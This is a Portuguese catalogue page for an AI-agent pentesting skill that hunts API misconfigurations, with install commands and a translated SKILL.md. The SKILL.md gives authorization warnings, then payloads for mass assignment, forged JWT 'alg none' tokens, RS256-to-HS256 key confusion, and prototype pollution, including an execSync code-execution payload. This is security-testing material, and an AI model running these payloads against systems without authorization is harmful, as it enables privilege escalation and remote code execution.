Pular para o conteúdo
Skillpedia
Segurança48 mil · #3240

hunt-api-misconfig

Ajuda seu agente a encontrar falhas de segurança em APIs. É útil para proteger dados e sistemas contra ataques.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em APIs. Ela procura por maneiras de acessar informações ou controlar sistemas que não deveria, como se fosse um detetive procurando por portas destrancadas em um prédio.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicativo.
  • ✓Para verificar se uma API está protegida contra acessos indevidos.
  • ✓Em treinamentos de segurança para aprender sobre vulnerabilidades.

Exemplo do que pedir para a IA

“Procure por falhas de segurança na API do site exemplo.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-api-misconfig/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-api-misconfig/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta simula ataques comuns que exploram configurações incorretas. Ela tenta 'enganar' a API para que revele informações ou execute ações não permitidas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-api-misconfig

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-api-misconfig/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista em, extraia dados de ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

12. CONFIGURAÇÃO INCORRETA DE SEGURANÇA DE API

Atribuição em Massa

User.update(req.body)  // body has {"role": "admin"} → privilege escalation

Algoritmo JWT None

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

Confusão de Algoritmo JWT RS256 → HS256

# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

Poluição de Protótipo

// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

Para poluição de protótipo do lado do servidor, procure primeiro por um primitivo de mesclagem de objeto e, em seguida, por um sink. Prefira endpoints de atualização de JSON/objeto, como perfil, endereço, preferências, configurações, carrinho, trabalho de administrador, importação ou configuração de webhook. Não pare em uma resposta 200 para __proto__; prove que o estado do protótipo poluído atinge uma operação posterior.

Sequência de busca:

  1. Encontre um endpoint de atualização de objeto. Prefira endpoints que aceitem muitos campos nomeados ou objetos JSON. Tente codificações JSON e de formulário quando o aplicativo aceitar formulários. Inclua campos CSRF/sessão quando necessário.
  2. Polua propriedades de marcador inofensivas. Envie variantes como:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
  1. Acione um sink separado. Após a poluição, solicite endpoints de conta/perfil/administrador/trabalho/exportação/pesquisa/renderização e compare com a linha de base. Sinais fortes incluem padrões JSON alterados, campos inesperados, erros do servidor mencionando propriedades do objeto, saída de trabalho alterada, erros de template/renderização ou alterações no comportamento do comando/trabalho.
  2. Escalone apenas através de sinks aprendidos. As propriedades candidatas dependem do sink:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
  1. Para laboratórios de exfiltração ou impacto real, prefira provas não destrutivas. Se um trabalho de administrador, diagnóstico, exportação ou endpoint de renderização consumir padrões poluídos, use um marcador ou leitura de ambiente/segredo apenas quando autorizado. Em produção, pare em um marcador controlado, a menos que o escopo permita explicitamente o acesso a dados.

Poluição de Parâmetro do Lado do Servidor na Construção de URL / REST URL de Backend

Use isso quando um formulário ou endpoint frontend parecer chamar uma API do lado do servidor em seu nome (redefinição de senha, consulta de conta, busca de perfil, busca de produto, verificação de estoque, pesquisa). O bug não é uma poluição comum de consulta do lado do cliente. O servidor pega sua entrada e a interpola em um caminho de URL de backend ou string de consulta, como:

/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email

Sequência de busca:

  1. Encontre o fluxo e leia a solicitação do cliente. Busque a página e qualquer JavaScript referenciado. Procure por ações de formulário, fetch(...), campos CSRF ocultos e o nome exato do parâmetro que o navegador envia. Se houver um formulário de redefinição/conta, teste nomes de usuário conhecidos primeiro para aprender o formato normal de sucesso/erro.
  2. Determine se a entrada cai em um caminho ou consulta de backend. Envie metacaracteres de URL na entrada:

…

Perguntas frequentes

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter permissão explícita e por escrito do dono do sistema antes de usar esta ferramenta. Usá-la sem permissão é ilegal.

O que são 'Mass Assignment' ou 'Prototype Pollution'?

São tipos de falhas de segurança. 'Mass Assignment' permite que um usuário comum altere dados de outro usuário (como se tornar um administrador). 'Prototype Pollution' explora como o código lida com objetos para mudar o comportamento do sistema.

O que é 'Server-Side Parameter Pollution'?

É quando a API usa informações que você envia para construir um endereço (URL) interno, mas não verifica corretamente. Isso pode permitir que você acesse ou modifique dados em locais inesperados.

Detalhes

Descrição original do autor

Hunt API security misconfiguration

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3240
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas